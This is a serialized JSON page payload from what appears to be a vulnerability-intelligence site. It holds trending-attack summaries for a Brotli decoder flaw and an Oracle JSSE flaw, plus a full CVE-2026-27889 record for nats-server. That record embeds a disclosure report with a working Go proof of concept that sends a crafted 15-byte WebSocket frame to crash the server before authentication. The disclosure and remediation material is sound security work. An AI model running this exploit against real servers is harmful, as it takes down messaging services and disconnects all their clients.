[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-27889":30,"landing-articles":89},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":53,"references":56,"score":67,"epss_score":68,"epss_percentile":69,"is_kev":70,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":71,"attack_mappings":81,"exploits":88},18278,"CVE-2026-27889","EUVD-2026-15962","NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead\n\n### Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.\n\nWhen using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.\n\n\n### Problem Description\n\nA missing sanity check on a WebSockets frame could trigger a server panic in the nats-server.  This happens before authentication, and so is exposed to anyone who can connect to the websockets port.\n\n### Affected versions\n\nVersion 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5\n\n### Workarounds\n\nThis only affects deployments which use WebSockets and which expose the network port to untrusted end-points.  If able to do so, a defense in depth of restricting either of these will mitigate the attack.\n\n### Solution\n\nUpgrade the NATS server to a fixed version.\n\n### Credits\n\nThis was reported to the NATS maintainers by GitHub user Mistz1.\nAlso independently reported by GitHub user jiayuqi7813.\n\n-----\n\n## Report by @Mistz1 \n\n### Summary\n\nAn unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting `uint64` → `int` conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered `panic` in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).\n\n### Details\n\n**Vulnerable code:** [`server\u002Fwebsocket.go` line 278](https:\u002F\u002Fgithub.com\u002Fnats-io\u002Fnats-server\u002Fblob\u002Fa69f51f\u002Fserver\u002Fwebsocket.go#L278)\n\n```go\nr.rem = int(binary.BigEndian.Uint64(tmpBuf))\n```\n\nWhen a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw `uint64` directly to `int` with no validation. RFC 6455 §5.2 states: *\"the most significant bit MUST be 0\"* — but nats-server never checks this.\n\n**Attack chain:**\n\n1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., `0x8000000000000001`).\n\n2. At line 278, `int(0x8000000000000001)` produces `-9223372036854775807` on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).\n\n3. `r.rem` is now negative. At line 307–311, the bounds clamp fails:\n\n   ```go\n   n = r.rem                    \u002F\u002F n = -9223372036854775807\n   if pos+n > max {             \u002F\u002F 14 + (-huge) = negative, NOT > max → FALSE\n       n = max - pos            \u002F\u002F clamp NEVER fires\n   }\n   b = buf[pos : pos+n]         \u002F\u002F buf[14 : -9223372036854775793] → PANIC\n   ```\n\n   The addition `pos + n` wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than `max`, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.\n\n4. There is **no `defer recover()`** anywhere in the goroutine chain:\n   - [`startGoRoutine`](https:\u002F\u002Fgithub.com\u002Fnats-io\u002Fnats-server\u002Fblob\u002Fa69f51f\u002Fserver\u002Fserver.go#L4076-L4079): `go func() { f() }()` — no recovery\n   - [`readLoop`](https:\u002F\u002Fgithub.com\u002Fnats-io\u002Fnats-server\u002Fblob\u002Fa69f51f\u002Fserver\u002Fclient.go#L1387-L1394): defer only does cleanup — no recovery\n\n   The unrecovered panic propagates to Go's runtime, which calls `os.Exit(2)`. The **entire nats-server process terminates**.\n\n5. The WebSocket frame is parsed in `wsRead()` called from `readLoop()`, which starts immediately after the HTTP upgrade — **before any NATS CONNECT authentication**. No credentials are required.\n\n**Why 15 bytes, not 14:** The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so `pos == max` and the payload loop at line 303 (`if pos \u003C max`) is skipped. The poisoned `r.rem` persists in the `wsReadInfo` struct. One additional byte of \"payload\" is needed so that `pos \u003C max` on either the same or next read, entering the panic path at line 311.\n\n### PoC\n\n**Server configuration** (`test-ws.conf`):\n```\nlisten: 127.0.0.1:4222\n\nwebsocket {\n    listen: \"127.0.0.1:9222\"\n    no_tls: true\n}\n```\n\n**Start the server:**\n```bash\nnats-server -c test-ws.conf\n```\n\n**Exploit** (`poc_ws_crash.go`):\n```go\npackage main\n\nimport (\n\t\"bufio\"\n\t\"encoding\u002Fbinary\"\n\t\"fmt\"\n\t\"net\"\n\t\"net\u002Fhttp\"\n\t\"os\"\n\t\"time\"\n)\n\nfunc main() {\n\ttarget := \"127.0.0.1:9222\"\n\tif len(os.Args) > 1 {\n\t\ttarget = os.Args[1]\n\t}\n\n\tfmt.Printf(\"[*] Connecting to %s...\\n\", target)\n\tconn, err := net.DialTimeout(\"tcp\", target, 5*time.Second)\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Connection failed: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\n\t\u002F\u002F WebSocket upgrade\n\treq, _ := http.NewRequest(\"GET\", \"http:\u002F\u002F\"+target, nil)\n\treq.Header.Set(\"Upgrade\", \"websocket\")\n\treq.Header.Set(\"Connection\", \"Upgrade\")\n\treq.Header.Set(\"Sec-WebSocket-Key\", \"dGhlIHNhbXBsZSBub25jZQ==\")\n\treq.Header.Set(\"Sec-WebSocket-Version\", \"13\")\n\treq.Header.Set(\"Sec-WebSocket-Protocol\", \"nats\")\n\treq.Write(conn)\n\n\tconn.SetReadDeadline(time.Now().Add(5 * time.Second))\n\tresp, err := http.ReadResponse(bufio.NewReader(conn), req)\n\tif err != nil || resp.StatusCode != 101 {\n\t\tfmt.Printf(\"[-] Upgrade failed\\n\")\n\t\tos.Exit(1)\n\t}\n\tfmt.Println(\"[+] WebSocket established\")\n\tconn.SetReadDeadline(time.Time{})\n\n\t\u002F\u002F Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte\n\tframe := make([]byte, 15)\n\tframe[0] = 0x82                                             \u002F\u002F FIN + Binary\n\tframe[1] = 0xFF                                             \u002F\u002F MASK + 127 (64-bit length)\n\tbinary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) \u002F\u002F MSB set\n\tframe[10] = 0xDE                                            \u002F\u002F Mask key\n\tframe[11] = 0xAD\n\tframe[12] = 0xBE\n\tframe[13] = 0xEF\n\tframe[14] = 0x41                                            \u002F\u002F 1 payload byte\n\n\tfmt.Printf(\"[*] Sending: %x\\n\", frame)\n\tconn.Write(frame)\n\n\ttime.Sleep(2 * time.Second)\n\n\t\u002F\u002F Verify crash\n\tconn2, err := net.DialTimeout(\"tcp\", target, 3*time.Second)\n\tif err != nil {\n\t\tfmt.Println(\"[!!!] SERVER IS DOWN — full process crash confirmed\")\n\t\tos.Exit(0)\n\t}\n\tconn2.Close()\n\tfmt.Println(\"[-] Server still running\")\n}\n```\n\n**Run:**\n```bash\ngo build -o poc_ws_crash poc_ws_crash.go\n.\u002Fpoc_ws_crash\n```\n\n**Observed server output before termination:**\n```\npanic: runtime error: slice bounds out of range [:-9223372036854775793]\n\ngoroutine 13 [running]:\ngithub.com\u002Fnats-io\u002Fnats-server\u002Fv2\u002Fserver.(*client).wsRead(...)\n        server\u002Fwebsocket.go:311 +0xa93\ngithub.com\u002Fnats-io\u002Fnats-server\u002Fv2\u002Fserver.(*client).readLoop(...)\n        server\u002Fclient.go:1434 +0x768\ngithub.com\u002Fnats-io\u002Fnats-server\u002Fv2\u002Fserver.(*Server).startGoRoutine.func1()\n        server\u002Fserver.go:4078 +0x32\n```\n\n**Tested against:** nats-server v2.14.0-dev (commit `a69f51f`), Go 1.25.7, linux\u002Famd64.\n\n### Impact\n\n**Vulnerability type:** Pre-authentication remote denial of service (full process crash).\n\n**Who is impacted:** Any nats-server deployment with WebSocket listeners enabled (`websocket { ... }` in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.\n\n**Severity:** A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.\n\n**Affected platforms:** All — confirmed on 64-bit (linux\u002Famd64); 32-bit platforms (linux\u002F386, linux\u002Farm) are also affected with additional frame-desync consequences.\n\n( NATS retains the original external report below the cut, with exploit details.\nThis issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)","2026-03-25T17:07:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",7.5,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H","NONE","LOW",true,[48,49],"CWE-190","CWE-1286",[51,52],"cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*","cpe:2.3:a:nats-io:nats-server:*:*:*:*:*:*:*:*",[54,55],"Linuxfoundation Nats-Server","Nats-Io Nats-Server",[57,58,59,60,61,62,63,64,65,66],"https:\u002F\u002Fadvisories.nats.io\u002FCVE\u002Fsecnote-2026-03.txt","https:\u002F\u002Fgithub.com\u002Fnats-io\u002Fnats-server\u002Fsecurity\u002Fadvisories\u002FGHSA-pq2q-rcw4-3hr6","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-27889","https:\u002F\u002Fgithub.com\u002Fnats-io\u002Fnats-server","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:21769","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:22347","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:23345","https:\u002F\u002Faccess.redhat.com\u002Fsecurity\u002Fcve\u002FCVE-2026-27889","https:\u002F\u002Fbugzilla.redhat.com\u002Fshow_bug.cgi?id=2451447","https:\u002F\u002Fsecurity.access.redhat.com\u002Fdata\u002Fcsaf\u002Fv2\u002Fvex\u002F2026\u002Fcve-2026-27889.json",0.57,0.00593,0.48031,false,{"timestamp":72,"automatable":73,"tech_impact":74,"exploitation":75,"cisa_decision":76,"cisa_remediation_timeline":80},"2026-03-25T20:06:22.827675Z","yes","partial","poc",{"vector":77,"decision":78,"priority":79},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T08:05:45.363820\u002F","attend","medium","14D",[82],{"name":83,"source":84,"tactics":85,"technique_id":87},"Exploit Public-Facing Application","attack_vector",[86],"initial-access","T1190",[],{"count":90,"next":91,"previous":6,"results":92},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[93,101,109],{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":110,"title":111,"summary":112,"published_at":113,"type":114,"link":115,"image_url":116},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]